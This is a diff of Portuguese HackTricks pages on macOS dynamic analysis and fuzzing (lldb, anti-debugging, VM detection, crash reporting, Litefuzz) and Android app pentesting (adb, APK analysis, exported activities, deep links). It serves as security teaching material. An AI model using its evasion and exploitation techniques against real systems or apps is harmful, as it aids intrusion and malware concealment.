$rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <>endereço_do_reg/memória</strong></td><td>Exibir a memória como uma string terminada por nulo.</td></tr><tr><td><strong>x/i <>endereço_do_reg/memória</strong></td><td>Exibir a memória como instrução de montagem.</td></tr><tr><td><strong>x/b <>endereço_do_reg/memória</strong></td><td>Exibir a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isto irá imprimir o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Observe que a maioria das APIs ou métodos Objective-C da Apple retornam objetos e, portanto, devem ser exibidos através do comando "print object" (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escrever AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escrever AAAA no endereço</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmontar função atual</p><p>dis -n <nome_da_função> #Desmontar função</p><p>dis -n <nome_da_função> -b <nome_base> #Desmontar função<br>dis -c 6 #Desmontar 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro<br>dis -p -c 4 # Iniciar no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar array de 3 componentes no registro x1</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Ao chamar a função **`objc_sendMsg`**, o registro **rsi** contém o **nome do método** como uma string terminada por nulo ("C"). Para imprimir o nome via lldb faça:
|
||||
|
@ -384,28 +449,38 @@ Ao chamar a função **`objc_sendMsg`**, o registro **rsi** contém o **nome do
|
|||
`(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
{% endhint %}
|
||||
|
||||
### Anti-Análise Dinâmica
|
||||
### Análise Anti-Dinâmica
|
||||
|
||||
#### Detecção de VM
|
||||
|
||||
* O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS** mas algo diferente quando é uma VM.
|
||||
* Manipulando os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`** alguns malwares tentam detectar se é uma VM.
|
||||
* Alguns malwares também podem **detectar** se a máquina é baseada em **VMware** com base no endereço MAC (00:50:56).
|
||||
* O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS**, mas algo diferente quando é uma VM.
|
||||
* Manipulando os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`**, alguns malwares tentam detectar se é uma VM.
|
||||
* Alguns malwares também podem **detectar** se a máquina é baseada no **VMware** com base no endereço MAC (00:50:56).
|
||||
* Também é possível descobrir se um processo está sendo depurado com um código simples como:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo sendo depurado }`
|
||||
* Também pode invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** um deb**u**gger de anexar e rastrear.
|
||||
* Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware poderia importá-la dinamicamente)
|
||||
* Também pode-se invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** que um deb**u**gger se conecte e rastreie.
|
||||
* Pode-se verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware poderia importá-la dinamicamente)
|
||||
* Conforme observado neste artigo, “[Derrotando Técnicas Anti-Depuração: variantes de ptrace no macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_A mensagem Processo # saiu com **status = 45 (0x0000002d)** geralmente é um sinal revelador de que o alvo de depuração está usando **PT\_DENY\_ATTACH**_”
|
||||
## Despejos de Núcleo
|
||||
|
||||
Os despejos de núcleo são criados se:
|
||||
|
||||
- `kern.coredump` sysctl estiver definido como 1 (por padrão)
|
||||
- Se o processo não era suid/sgid ou `kern.sugid_coredump` for 1 (por padrão é 0)
|
||||
- O limite `AS_CORE` permite a operação. É possível suprimir a criação de despejos de código chamando `ulimit -c 0` e reativá-los com `ulimit -c unlimited`.
|
||||
|
||||
Nesses casos, os despejos de núcleo são gerados de acordo com `kern.corefile` sysctl e geralmente armazenados em `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
O ReportCrash **analisa processos que estão a falhar e guarda um relatório de falha no disco**. Um relatório de falha contém informações que podem **ajudar um programador a diagnosticar** a causa de uma falha.\
|
||||
Para aplicações e outros processos **a correr no contexto de lançamento por utilizador**, o ReportCrash é executado como um LaunchAgent e guarda os relatórios de falha na pasta `~/Library/Logs/DiagnosticReports/` do utilizador.\
|
||||
Para daemons, outros processos **a correr no contexto de lançamento do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e guarda os relatórios de falha na pasta `/Library/Logs/DiagnosticReports` do sistema.
|
||||
O ReportCrash **analisa processos que estão travando e salva um relatório de travamento no disco**. Um relatório de travamento contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de um travamento.\
|
||||
Para aplicativos e outros processos **em execução no contexto de lançamento por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de travamento em `~/Library/Logs/DiagnosticReports/` do usuário.\
|
||||
Para daemons, outros processos **em execução no contexto de lançamento do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de travamento em `/Library/Logs/DiagnosticReports` do sistema.
|
||||
|
||||
Se estiver preocupado com os relatórios de falha **a serem enviados para a Apple**, pode desativá-los. Caso contrário, os relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
|
||||
Se você está preocupado com os relatórios de travamento **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, os relatórios de travamento podem ser úteis para **descobrir como um servidor travou**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -419,7 +494,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
|||
|
||||
Durante o fuzzing em um MacOS, é importante não permitir que o Mac entre em modo de sono:
|
||||
|
||||
* systemsetup -setsleep Never
|
||||
* systemsetup -setsleep Nunca
|
||||
* pmset, Preferências do Sistema
|
||||
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
|
||||
|
||||
|
@ -427,7 +502,7 @@ Durante o fuzzing em um MacOS, é importante não permitir que o Mac entre em mo
|
|||
|
||||
Se estiver fazendo fuzzing via uma conexão SSH, é importante garantir que a sessão não seja encerrada. Portanto, altere o arquivo sshd\_config com:
|
||||
|
||||
* TCPKeepAlive Yes
|
||||
* TCPKeepAlive Sim
|
||||
* ClientAliveInterval 0
|
||||
* ClientAliveCountMax 0
|
||||
```bash
|
||||
|
@ -443,8 +518,6 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
{% endcontent-ref %}
|
||||
|
||||
### Enumerando Processos de Rede
|
||||
|
||||
Isso é interessante para encontrar processos que estão gerenciando dados de rede:
|
||||
```bash
|
||||
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
||||
#wait some time
|
||||
|
@ -467,15 +540,13 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
|||
|
||||
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
|
||||
|
||||
Funciona para ferramentas de linha de comando
|
||||
Funciona para ferramentas de linha de comando.
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Note que alguns aplicativos do macOS têm requisitos específicos como nomes de arquivos únicos, a extensão correta, precisam ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Observe que alguns aplicativos do macOS têm requisitos específicos, como nomes de arquivos exclusivos, a extensão correta, a necessidade de ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
Alguns exemplos:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# iBooks
|
||||
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
|
||||
|
@ -521,9 +592,9 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo de informações**.
|
||||
|
||||
O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares que roubam informações.
|
||||
O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
|
||||
|
||||
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
|
||||
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -535,7 +606,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -19,19 +19,19 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
## Conceitos Básicos de Aplicativos Android
|
||||
|
||||
É altamente recomendável começar lendo esta página para saber sobre as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em um aplicativo Android**:
|
||||
É altamente recomendado começar lendo esta página para saber sobre as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em um aplicativo Android**:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
|
@ -40,7 +40,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
|
||||
**ADB** permite controlar dispositivos via **USB** ou **Rede** a partir de um computador. Este utilitário permite a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
**ADB** permite controlar dispositivos via **USB** ou **Rede** a partir de um computador. Esta utilidade permite a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
|
||||
Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
|
||||
|
||||
|
@ -52,7 +52,7 @@ Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para apr
|
|||
## Outros truques interessantes
|
||||
|
||||
* [Falsificar sua localização na Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* Extrair APK do dispositivo:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
|
@ -79,15 +79,15 @@ Por favor, [**leia aqui para encontrar informações sobre diferentes decompilad
|
|||
|
||||
### Procurando por Informações Interessantes
|
||||
|
||||
Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
|
||||
Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até mesmo por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Dê atenção especial às **URLs do firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Dê atenção especial às **URLs do Firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Compreensão básica da aplicação - Manifest.xml, strings.xml
|
||||
|
||||
A **análise do arquivo \_Manifest.xml** e dos arquivos **strings.xml** de um aplicativo pode revelar vulnerabilidades de segurança potenciais. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
|
||||
A **análise do arquivo \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* de um aplicativo pode revelar vulnerabilidades de segurança potenciais\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
|
||||
|
||||
As **vulnerabilidades** identificadas no **Manifest.xml** incluem:
|
||||
|
||||
|
@ -126,7 +126,7 @@ Mais informações em:
|
|||
|
||||
**Armazenamento Interno**
|
||||
|
||||
No Android, arquivos armazenados no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **aplicativo** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria dos aplicativos. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicativos. No entanto, esses modos **não restringem o acesso** a esses arquivos por outros aplicativos, incluindo possivelmente maliciosos.
|
||||
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **aplicativo** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria dos aplicativos. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicativos. No entanto, esses modos **não restringem o acesso** a esses arquivos por outros aplicativos, incluindo possivelmente maliciosos.
|
||||
|
||||
1. **Análise Estática:**
|
||||
* **Garanta** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente examinado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
|
||||
|
@ -140,7 +140,7 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
|
|||
1. **Acessibilidade**:
|
||||
* Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicativo ou usuário pode acessar esses arquivos.
|
||||
2. **Preocupações de Segurança**:
|
||||
* Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
|
||||
* Devido à facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
|
||||
* O armazenamento externo pode ser removido ou acessado por qualquer aplicativo, tornando-o menos seguro.
|
||||
3. **Manuseio de Dados do Armazenamento Externo**:
|
||||
* Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável.
|
||||
|
@ -171,11 +171,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
**Processos de Gerenciamento de Chave Fracos**
|
||||
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois a reversão pode permitir que os atacantes extraiam as informações confidenciais.
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois a reversão pode permitir que atacantes extraiam informações confidenciais.
|
||||
|
||||
**Uso de Algoritmos Inseguros e/ou Obsoletos**
|
||||
|
||||
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.
|
||||
Os desenvolvedores não devem usar algoritmos **obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com sal.
|
||||
|
||||
### Outras Verificações
|
||||
|
||||
|
@ -207,7 +207,7 @@ De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desup
|
|||
|
||||
### Análise Estática Automatizada de Código
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **código** do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **código** do aplicativo. Essa ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
|
||||
|
||||
|
@ -241,13 +241,13 @@ Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdom
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Engaje-se com conteúdo que explora a emoção e desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -259,7 +259,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
### Análise Dinâmica Online
|
||||
|
||||
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
|
||||
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Essa plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
|
||||
|
||||
Você pode até **ver os logs do seu aplicativo** na web e conectar-se por meio de **adb**.
|
||||
|
||||
|
@ -271,7 +271,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** nos emuladores.
|
|||
|
||||
#### Usando um emulador
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**este** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**último x86**, as versões **suportam bibliotecas ARM** sem precisar de um emulador ARM lento).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**este** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**último x86** versões **suportam bibliotecas ARM** sem precisar de um emulador ARM lento).
|
||||
* Aprenda a configurá-lo nesta página:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -302,12 +302,12 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
|
|||
5. Volte e você encontrará as **Opções do desenvolvedor**.
|
||||
|
||||
> Depois de instalar o aplicativo, a primeira coisa que você deve fazer é testá-lo e investigar o que ele faz, como funciona e se familiarizar com ele.\
|
||||
> Eu sugiro **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como o aplicativo funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar posteriormente.
|
||||
> Eu sugiro **realizar essa análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como o aplicativo funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar posteriormente.
|
||||
### Vazamento de Dados Não Intencional
|
||||
|
||||
**Registro**
|
||||
|
||||
Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
Os desenvolvedores devem ter cautela ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que a partir de **versões mais recentes do Android do que 4.0**, **aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros apps.\
|
||||
|
@ -316,17 +316,17 @@ De qualquer forma, ainda é recomendável **não registrar informações sensív
|
|||
|
||||
**Armazenamento em Cache do Buffer de Copiar/Colar**
|
||||
|
||||
O framework baseado em **clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
O framework baseado em **clipboard** do Android permite a funcionalidade de copiar/colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
|
||||
**Logs de Falhas**
|
||||
|
||||
Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenharia reversa. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança.
|
||||
Se um aplicativo **falhar e salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenharia reversa. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança.
|
||||
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
**Dados Analíticos Enviados a Terceiros**
|
||||
|
||||
Os aplicativos frequentemente integram serviços como o Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há envio de informações sensíveis para serviços de terceiros.
|
||||
Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há algum envio de informações sensíveis para serviços de terceiros.
|
||||
|
||||
### Bancos de Dados SQLite
|
||||
|
||||
|
@ -355,7 +355,7 @@ Quando uma Atividade é exportada, você pode invocar sua tela a partir de um ap
|
|||
|
||||
Você também pode iniciar uma atividade exportada a partir do adb:
|
||||
|
||||
* PackageName é com.example.demo
|
||||
* Nome do Pacote é com.example.demo
|
||||
* Nome da Atividade Exportada é com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
@ -363,7 +363,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||
**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [este](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões de API < 21).
|
||||
|
||||
{% hint style="info" %}
|
||||
Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dependerá de como o bypass funciona e quais informações são expostas.
|
||||
Note que uma violação de autorização nem sempre é uma vulnerabilidade, isso dependerá de como a violação funciona e quais informações são expostas.
|
||||
{% endhint %}
|
||||
|
||||
**Vazamento de informações sensíveis**
|
||||
|
@ -372,7 +372,7 @@ Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dep
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário execute ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](./#tapjacking).
|
||||
Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário execute ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking).
|
||||
|
||||
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
|
||||
|
||||
|
@ -397,9 +397,9 @@ Lembre-se que as ações de um Receptor de Transmissão começam no método `onR
|
|||
Um receptor de transmissão estará aguardando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
|
||||
[**Aprenda como explorar Receptores de Transmissão com o Drozer.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Explorando Esquemas / Deep links**
|
||||
### **Explorando Esquemas / Links Profundos**
|
||||
|
||||
Você pode procurar deep links manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode procurar links profundos manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode **abrir** um **esquema** declarado usando **adb** ou um **navegador**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -432,7 +432,7 @@ Sempre que encontrar um deeplink, verifique se **não está recebendo dados sens
|
|||
**Parâmetros no caminho**
|
||||
|
||||
